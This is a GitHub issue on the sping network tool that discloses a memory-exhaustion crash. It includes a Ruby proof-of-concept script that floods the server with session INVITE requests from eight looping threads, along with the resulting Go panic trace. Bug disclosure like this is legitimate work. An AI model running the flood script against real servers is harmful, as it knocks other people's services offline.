benjojo / sping

Split ping, see what direction the loss or latency is on

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Crash with many new sessions

marek22k opened this issue · comments

Hello,

If an attacker requests a large number of new sessions, the server crashes after quite a lot of memory has been requested.
Attack script:

require 'socket'

vhost = "127.0.0.1"
vport = 6924

class TCPHandshakeError < StandardError; end

threads = []

8.times do
    threads << Thread.new(vhost, vport) do |vhost, vport|
        loop do
            begin
                socket = TCPSocket.new vhost, vport
                banner = socket.readpartial 9001
                if banner.length > 9000
                    socket.close
                    raise TCPHandshakeError, 'Host banner too big'
                end

                if ! banner.start_with? 'sping-0.3-'
                    socket.close
                    raise TCPHandshakeError, 'Host banner not sping'
                end

                socket.write "INVITE\r\n"
                socket.flush

                inviteBuf = socket.readpartial 32
                if inviteBuf.length > 31 || inviteBuf.length.zero?
                    socket.close
                    raise TCPHandshakeError, 'Invite banner wrong size'
                end

                session_id = inviteBuf.chomp.to_i

                puts "We got a new session id #{session_id}."

                socket.close
            rescue TCPHandshakeError => e
                warn "Error: #{e.message}"
            end
        end
    end
end

threads.each &:join

Log (excerpt):

$./sping 
2023/11/07 11:17:00 Listening on[::]:9523
fatal error: concurrent map read and map write

goroutine 224642 [running]:
main.handleTCPconnection({0x949400?, 0xc00011bca0})
	/home/marek/sping/sessionhandle.go:195 +0x356
created by main.listenOnTCP
	/home/marek/sping/sessionhandle.go:154 +0x125

goroutine 1 [sleep]:
time.Sleep(0x3b9a5c5f)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.main()
	/home/marek/sping/main.go:63 +0x29b

goroutine 7 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a598, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc0002a0000?, 0x6?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).Accept(0xc0002a0000)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:614 +0x234
net.(*netFD).accept(0xc0002a0000)
	/usr/lib/go-1.19/src/net/fd_unix.go:172 +0x35
net.(*TCPListener).accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock_posix.go:142 +0x28
net.(*TCPListener).Accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock.go:288 +0x3d
main.listenOnTCP()
	/home/marek/sping/sessionhandle.go:149 +0x99
created by main.main
	/home/marek/sping/main.go:36 +0x191

goroutine 8 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a688, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc00020a000?, 0xc000210000?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadFromInet6(0xc00020a000, {0xc000210000, 0x2710, 0x2710}, 0x7f0d68717fff?)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:277 +0x1e5
net.(*netFD).readFromInet6(0xc00020a000, {0xc000210000?, 0x0?, 0x0?}, 0x1?)
	/usr/lib/go-1.19/src/net/fd_posix.go:72 +0x29
net.(*UDPConn).readFrom(0xc000066800?, {0xc000210000?, 0x0?, 0x1010000000003?}, 0xc0002040c0)
	/usr/lib/go-1.19/src/net/udpsock_posix.go:59 +0x85
net.(*UDPConn).readFromUDP(0xc00020e000, {0xc000210000?, 0x44ed52?, 0x2710?}, 0x809480?)
	/usr/lib/go-1.19/src/net/udpsock.go:149 +0x31
net.(*UDPConn).ReadFrom(0x891d58?, {0xc000210000, 0x2710, 0x2710})
	/usr/lib/go-1.19/src/net/udpsock.go:158 +0x50
main.listenAndRoute()
	/home/marek/sping/main.go:230 +0x10a
created by main.main
	/home/marek/sping/main.go:37 +0x19d

goroutine 9 [sleep]:
time.Sleep(0xdf8475800)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.sessionGC()
	/home/marek/sping/main.go:121 +0x45
created by main.main
	/home/marek/sping/main.go:50 +0x1e6

[...]

goroutine 224643 [select]:
main.(*session).waitForHandshake(0xc037400000)
	/home/marek/sping/sessionhandle.go:205 +0xc5
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224627 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224645 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

Full Log:
sping.txt

In my test, the Go server withstood the attack for about 20 seconds.